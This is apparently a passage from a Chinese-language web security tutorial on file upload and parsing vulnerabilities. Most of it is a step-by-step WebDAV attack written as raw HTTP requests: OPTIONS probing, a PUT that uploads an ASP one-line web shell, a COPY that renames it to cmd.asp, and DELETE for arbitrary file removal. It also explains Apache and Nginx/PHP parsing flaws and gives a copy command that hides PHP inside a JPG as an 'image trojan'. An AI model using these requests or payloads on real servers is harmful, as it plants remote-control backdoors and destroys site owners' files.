第一步,通过OPTIONS探测服务器所支持的HTTP方法
请求:
OPTIONS / HTTP/1.1
Host:www.example.com
响应:
。。。
Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH
。。。
第二步,通过PUT方法向服务器上传脚本文件
请求:
PUT /a.txt HTTP/1.1
Host:www.example.com
Content-Length:30
<%eval request("chopper")%>
第三步,通过Move或Copy方法改名
请求:
COPY /a.txt HTTP/1.1
Host:www.example.com
Destination:http://www.example.com/cmd.asp
第四步,使用DELETE方法,攻击者还可以删除服务器上的任意文件
请求:
DELETE /a.txt HTTP/1.1
Host:www.example.com
这种方法可以绕过基于黑名单的检查。
Apache认识的扩展名保存在安装目录下"/conf/mime.types"文件中。下图为本机的情况,文件在路径C:\wamp\bin\apache\Apache2.2.21\conf\mime.types
这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞。
这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于C:\wamp\bin\php\php5.3.10\php.ini,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。
附:用copy命令制作图片木马:copy 1.jpg/b+1.php/a 2.php (其中/b表示二进制文件,/a表示ASCII码文件)